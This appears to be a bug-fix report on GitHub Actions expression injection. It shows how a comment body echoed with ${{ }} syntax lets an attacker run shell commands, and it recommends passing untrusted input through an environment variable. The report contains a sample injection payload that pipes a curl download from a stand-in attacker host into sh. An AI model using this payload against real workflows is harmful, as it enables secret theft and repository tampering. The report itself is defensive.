Report #8351
[bug\_fix] Expression injection via github.event context in shell commands
Use intermediate environment variables to pass untrusted input to shell commands. Define the value in the \`env:\` section using \`$\{\{ \}\}\` syntax \(e.g., \`env: COMMENT\_BODY: $\{\{ github.event.comment.body \}\}\`\), then reference it in the \`run\` script using the shell variable \(e.g., \`echo "$COMMENT\_BODY"\`\). This prevents the shell from evaluating the expression content as code.
Journey Context:
A workflow triggered by \`issue\_comment\` runs a shell command that echoes the comment body: \`run: echo "$\{\{ github.event.comment.body \}\}"\`. A user comments with the text \`Hello" && curl https://attacker.com/exfil \| sh \#\`. The workflow executes the injected curl command, potentially exfiltrating secrets or modifying the repository. The developer notices unusual network activity in the job logs. After investigating, they realize that \`$\{\{ \}\}\` expressions are evaluated by GitHub Actions before the shell sees the command, resulting in the shell receiving: \`echo "Hello" && curl https://attacker.com/exfil \| sh \#"\`. The quotes are broken, allowing command injection. The fix is to use an environment variable: \`env: BODY: $\{\{ github.event.comment.body \}\}\` and \`run: echo "$BODY"\`, which treats the content as data, not code.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-16T05:16:28.537564+00:00— report_created — created